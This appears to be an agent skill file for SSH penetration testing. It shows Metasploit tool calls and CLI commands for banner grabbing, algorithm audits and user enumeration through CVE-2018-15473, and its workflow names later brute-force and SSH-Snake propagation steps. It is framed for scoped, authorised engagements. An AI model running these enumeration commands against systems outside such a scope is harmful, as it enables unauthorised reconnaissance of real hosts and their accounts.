ssh-pentest

SSH Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Linux targets: load linux-pentest for post-access.

Ports and detection

Port	Service
22/tcp	SSH/SFTP (Secure Shell)

Banner and version

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22, "THREADS": 5}
)

CLI fallback:

nc -vn <target> 22
nmap -p22 -sV -sC <target>
ssh-audit <target>
ssh-keyscan -t rsa,ed25519 <target>

Workflow

Task Progress:
- [ ] Banner and algorithm audit
- [ ] User enumeration (CVE-2018-15473)
- [ ] libssh auth bypass check
- [ ] Key/password brute force
- [ ] SSH-Snake propagation assessment
- [ ] Document findings

Algorithm and auth method audit

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 22}
)

CLI fallback:

ssh-audit <target>
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root" <target>
ssh -v <target> 2>&1 | grep -i 'authentications'
ssh -v <target> -o PreferredAuthentications=password

User enumeration (CVE-2018-15473)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_enumusers",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 22,
    "USER_FILE": "/path/to/users.txt",
    "CHECK_FALSE": true,
    "ACTION": "Malformed Packet",
    "THREADS": 5
  }
)

Timing attack variant:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_enumusers",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 22,
    "USER_FILE": "/path/to/users.txt",
    "ACTION": "Timing Attack",
    "THRESHOLD": 10,
    "THREADS": 1
  }
)

CLI fallback:

python3 ssh-username-enum.py -t <target> -U users.txt
python3 ssh-username-enum.py -t <target> -U users.txt --users root admin ubuntu
nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" <target>